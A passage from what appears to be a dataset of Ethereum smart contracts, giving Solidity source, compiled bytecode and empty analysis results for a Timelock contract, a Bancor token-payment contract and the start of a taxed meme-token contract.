signature, data, eta); } function executeTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); // timelock not enforced prior to updating the admin. This should occur on // deployment. bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); if (admin_initialized) { require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; } bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint256) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100dd5760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610621578063e177246e14610636578063f2b0653714610660578063f851a4401461068a576100dd565b80636fc1f57e146105ce5780637d645fab146105f7578063b1b43ae51461060c576100dd565b80633a66f901116100bb5780633a66f901146102da5780634dd18bf514610439578063591fcdfe1461046c5780636a42b8f8146105b9576100dd565b80630825f38f146100df5780630e18b6811461029457806326782247146102a9575b005b61021f600480360360a08110156100f557600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561012457600080fd5b82018360208201111561013657600080fd5b803590602001918460018302840111600160201b8311171561015757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101a957600080fd5b8201836020820111156101bb57600080fd5b803590602001918460018302840111600160201b831117156101dc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061069f915050565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610259578181015183820152602001610241565b50505050905090810190601f1680156102865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a057600080fd5b506100dd610bc9565b3480156102b557600080fd5b506102be610c65565b604080516001600160a01b039092168252519081900360200190f35b3480156102e657600080fd5b50610427600480360360a08110156102fd57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561032c57600080fd5b82018360208201111561033e57600080fd5b803590602001918460018302840111600160201b8311171561035f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103b157600080fd5b8201836020820111156103c357600080fd5b803590602001918460018302840111600160201b831117156103e457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c74915050565b60408051918252519081900360200190f35b34801561044557600080fd5b506100dd6004803603602081101561045c57600080fd5b50356001600160a01b0316610f85565b34801561047857600080fd5b506100dd600480360360a081101561048f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104be57600080fd5b8201836020820111156104d057600080fd5b803590602001918460018302840111600160201b831117156104f157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561054357600080fd5b82018360208201111561055557600080fd5b803590602001918460018302840111600160201b8311171561057657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611031915050565b3480156105c557600080fd5b506104276112e7565b3480156105da57600080fd5b506105e36112ed565b604080519115158252519081900360200190f35b34801561060357600080fd5b506104276112f6565b34801561061857600080fd5b506104276112fd565b34801561062d57600080fd5b50610427611304565b34801561064257600080fd5b506100dd6004803603602081101561065957600080fd5b503561130b565b34801561066c57600080fd5b506105e36004803603602081101561068357600080fd5b5035611400565b34801561069657600080fd5b506102be611415565b6000546060906001600160a01b031633146106eb5760405162461bcd60e51b815260040180806020018281038252603881526020018061148a6038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561075a578181015183820152602001610742565b50505050905090810190601f1680156107875780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107ba5781810151838201526020016107a2565b50505050905090810190601f1680156107e75780820380516001836020036101000a031916815260200191505b5060408051601f19818403018152919052805160209091012060035490995060ff1615975061091a96505050505050505760008181526004602052604090205460ff166108655760405162461bcd60e51b815260040180806020018281038252603d8152602001806115dd603d913960400191505060405180910390fd5b8261086e611424565b10156108ab5760405162461bcd60e51b815260040180806020018281038252604581526020018061152c6045913960600191505060405180910390fd5b6108be836212750063ffffffff61142816565b6108c6611424565b11156109035760405162461bcd60e51b81526004018080602001828103825260338152602001806114f96033913960400191505060405180910390fd5b6000818152600460205260409020805460ff191690555b606085516000141561092d5750836109ba565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109825780518252601f199092019160209182019101610963565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109f95780518252601f1990920191602091820191016109da565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a5b576040519150601f19603f3d011682016040523d82523d6000602084013e610a60565b606091505b509150915081610aa15760405162461bcd60e51b815260040180806020018281038252603d8152602001806116c0603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b1e578181015183820152602001610b06565b50505050905090810190601f168015610b4b5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b7e578181015183820152602001610b66565b50505050905090810190601f168015610bab5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c125760405162461bcd60e51b815260040180806020018281038252603881526020018061161a6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610cbe5760405162461bcd60e51b815260040180806020018281038252603681526020018061168a6036913960400191505060405180910390fd5b610cd8600254610ccc611424565b9063ffffffff61142816565b821015610d165760405162461bcd60e51b81526004018080602001828103825260498152602001806116fd6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d85578181015183820152602001610d6d565b50505050905090810190601f168015610db25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610de5578181015183820152602001610dcd565b50505050905090810190601f168015610e125780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610edd578181015183820152602001610ec5565b50505050905090810190601f168015610f0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f3d578181015183820152602001610f25565b50505050905090810190601f168015610f6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60035460ff1615610fd357333014610fce5760405162461bcd60e51b81526004018080602001828103825260388152602001806116526038913960400191505060405180910390fd5b610fe1565b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461107a5760405162461bcd60e51b81526004018080602001828103825260378152602001806114c26037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156110e95781810151838201526020016110d1565b50505050905090810190601f1680156111165780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611149578181015183820152602001611131565b50505050905090810190601f1680156111765780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611241578181015183820152602001611229565b50505050905090810190601f16801561126e5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112a1578181015183820152602001611289565b50505050905090810190601f1680156112ce5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b62278d0081565b6202a30081565b6212750081565b3330146113495760405162461bcd60e51b81526004018080602001828103825260318152602001806117466031913960400191505060405180910390fd5b6202a30081101561138b5760405162461bcd60e51b81526004018080602001828103825260348152602001806115716034913960400191505060405180910390fd5b62278d008111156113cd5760405162461bcd60e51b81526004018080602001828103825260388152602001806115a56038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b600082820183811015611482576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820c6e5359d59bb97f0aa713526e712bcfe1eac0aa9648270383a0741f67e4ef05a64736f6c63430005110032
{"success": true, "error": null, "results": {}}
8,868
0xdeca7a07bd58fc6d091e86469077d1c4372cf04a
pragma solidity ^0.4.23; // File: contracts/common/Ownable.sol /** * Ownable contract from Open zepplin * https://github.com/OpenZeppelin/openzeppelin-solidity/ * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/common/ReentrancyGuard.sol /** * Reentrancy guard from open Zepplin : * https://github.com/OpenZeppelin/openzeppelin-solidity/ * * @title Helps contracts guard agains reentrancy attacks. * @author Remco Bloemen <remco@2π.com> * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } // File: contracts/common/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/interfaces/ERC20Interface.sol interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } //TODO : Flattener does not like aliased imports. Not needed in actual codebase. interface IERC20Token { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/interfaces/IBancorNetwork.sol contract IBancorNetwork { function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256); function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256); function convertForPrioritized2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256); // deprecated, backward compatibility function convertForPrioritized( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256); } /* Bancor Contract Registry interface */ contract IContractRegistry { function getAddress(bytes32 _contractName) public view returns (address); } // File: contracts/TokenPaymentBancor.sol /* * @title Token Payment using Bancor API v0.1 * @author Haresh G * @dev This contract is used to convert ETH to an ERC20 token on the Bancor network. * @notice It does not support ERC20 to ERC20 transfer. */ contract IndTokenPayment is Ownable, ReentrancyGuard { using SafeMath for uint256; IERC20Token[] public path; address public destinationWallet; //Minimum tokens per 1 ETH to convert uint256 public minConversionRate; IContractRegistry public bancorRegistry; bytes32 public constant BANCOR_NETWORK = "BancorNetwork"; event conversionSucceded(address from,uint256 fromTokenVal,address dest,uint256 destTokenVal); constructor(IERC20Token[] _path, address destWalletAddr, address bancorRegistryAddr, uint256 minConvRate){ path = _path; bancorRegistry = IContractRegistry(bancorRegistryAddr); destinationWallet = destWalletAddr; minConversionRate = minConvRate; } function setConversionPath(IERC20Token[] _path) public onlyOwner { path = _path; } function setBancorRegistry(address bancorRegistryAddr) public onlyOwner { bancorRegistry = IContractRegistry(bancorRegistryAddr); } function setMinConversionRate(uint256 minConvRate) public onlyOwner { minConversionRate = minConvRate; } function setDestinationWallet(address destWalletAddr) public onlyOwner { destinationWallet = destWalletAddr; } function convertToInd() internal nonReentrant { assert(bancorRegistry.getAddress(BANCOR_NETWORK) != address(0)); IBancorNetwork bancorNetwork = IBancorNetwork(bancorRegistry.getAddress(BANCOR_NETWORK)); uint256 minReturn = minConversionRate.mul(msg.value); uint256 convTokens = bancorNetwork.convertFor.value(msg.value)(path,msg.value,minReturn,destinationWallet); assert(convTokens > 0); emit conversionSucceded(msg.sender,msg.value,destinationWallet,convTokens); } //If accidentally tokens are transferred to this //contract. They can be withdrawn by the followin interface. function withdrawToken(IERC20Token anyToken) public onlyOwner nonReentrant returns(bool){ if( anyToken != address(0x0) ) { assert(anyToken.transfer(destinationWallet, anyToken.balanceOf(this))); } return true; } //ETH cannot get locked in this contract. If it does, this can be used to withdraw //the locked ether. function withdrawEther() public onlyOwner nonReentrant returns(bool){ if(address(this).balance > 0){ destinationWallet.transfer(address(this).balance); } return true; } function () public payable nonReentrant { //Bancor contract can send the transfer back in case of error, which goes back into this //function ,convertToInd is non-reentrant. convertToInd(); } /* * Helper function * */ function getBancorContractAddress() public view returns(address) { return bancorRegistry.getAddress(BANCOR_NETWORK); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f4f81841461013657806313fa095f1461018d57806353b7a59b146101d0578063624964c31461022757806370228eea1461027e578063715018a6146102e45780637362377b146102fb57806386f254bf1461032a57806389476069146103555780638da5cb5b146103b05780639232494e14610407578063a215cd921461043a578063af6d1fe414610467578063c6ce2664146104d4578063f2fde38b14610517575b600060149054906101000a900460ff161515156100f757600080fd5b6001600060146101000a81548160ff02191690831515021790555061011a61055a565b60008060146101000a81548160ff021916908315150217905550005b34801561014257600080fd5b5061014b610a4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019957600080fd5b506101ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a70565b005b3480156101dc57600080fd5b506101e5610b0f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023357600080fd5b5061023c610b35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028a57600080fd5b506102e260048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610c30565b005b3480156102f057600080fd5b506102f9610ca5565b005b34801561030757600080fd5b50610310610da7565b604051808215151515815260200191505060405180910390f35b34801561033657600080fd5b5061033f610efd565b6040518082815260200191505060405180910390f35b34801561036157600080fd5b50610396600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f03565b604051808215151515815260200191505060405180910390f35b3480156103bc57600080fd5b506103c56111ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041357600080fd5b5061041c6111f3565b60405180826000191660001916815260200191505060405180910390f35b34801561044657600080fd5b5061046560048036038101908080359060200190929190505050611217565b005b34801561047357600080fd5b506104926004803603810190808035906020019092919050505061127c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e057600080fd5b50610515600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ba565b005b34801561052357600080fd5b50610558600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611359565b005b60008060008060149054906101000a900460ff1615151561057a57600080fd5b6001600060146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561066657600080fd5b505af115801561067a573d6000803e3d6000fd5b505050506040513d602081101561069057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141515156106c157fe5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561077a57600080fd5b505af115801561078e573d6000803e3d6000fd5b505050506040513d60208110156107a457600080fd5b810190808051906020019092919050505092506107cc346003546113c090919063ffffffff16565b91508273ffffffffffffffffffffffffffffffffffffffff1663c98fefed3460013486600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518663ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180806020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182810382528681815481526020019150805480156108f657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116108ac575b5050955050505050506020604051808303818588803b15801561091857600080fd5b505af115801561092c573d6000803e3d6000fd5b50505050506040513d602081101561094357600080fd5b8101908080519060200190929190505050905060008111151561096257fe5b7f8f6febffd2ae5e047f58a3d8b6be5bd1c598e690bb410d67b120b89d8df09be43334600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a160008060146101000a81548160ff021916908315150217905550505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610acb57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610bf057600080fd5b505af1158015610c04573d6000803e3d6000fd5b505050506040513d6020811015610c1a57600080fd5b8101908080519060200190929190505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8b57600080fd5b8060019080519060200190610ca19291906114f2565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0457600080fd5b600060149054906101000a900460ff16151515610e2057600080fd5b6001600060146101000a81548160ff02191690831515021790555060003073ffffffffffffffffffffffffffffffffffffffff16311115610edc57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610eda573d6000803e3d6000fd5b505b6001905060008060146101000a81548160ff02191690831515021790555090565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6057600080fd5b600060149054906101000a900460ff16151515610f7c57600080fd5b6001600060146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415156111ab578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156110a757600080fd5b505af11580156110bb573d6000803e3d6000fd5b505050506040513d60208110156110d157600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561116757600080fd5b505af115801561117b573d6000803e3d6000fd5b505050506040513d602081101561119157600080fd5b810190808051906020019092919050505015156111aa57fe5b5b6001905060008060146101000a81548160ff021916908315150217905550919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f42616e636f724e6574776f726b0000000000000000000000000000000000000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127257600080fd5b8060038190555050565b60018181548110151561128b57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131557600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b457600080fd5b6113bd816113f8565b50565b6000808314156113d357600090506113f2565b81830290508183828115156113e457fe5b041415156113ee57fe5b8090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561143457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b82805482825590600052602060002090810192821561156b579160200282015b8281111561156a5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190611512565b5b509050611578919061157c565b5090565b6115bc91905b808211156115b857600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101611582565b5090565b905600a165627a7a7230582055c984c4a5086eef3cbafaf25ba7cf8d6884fb3d77d50690a2dedf895cfb34fe0029
{"success": true, "error": null, "results": {}}
8,869
0x19eEA028D765E4b7FdB69032c7386317657E20F2
/** *Submitted for verification at Etherscan.io on 2021-11-09 */ //SPDX-License-Identifier: MIT // Telegram: http://t.me/leorioinu pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure 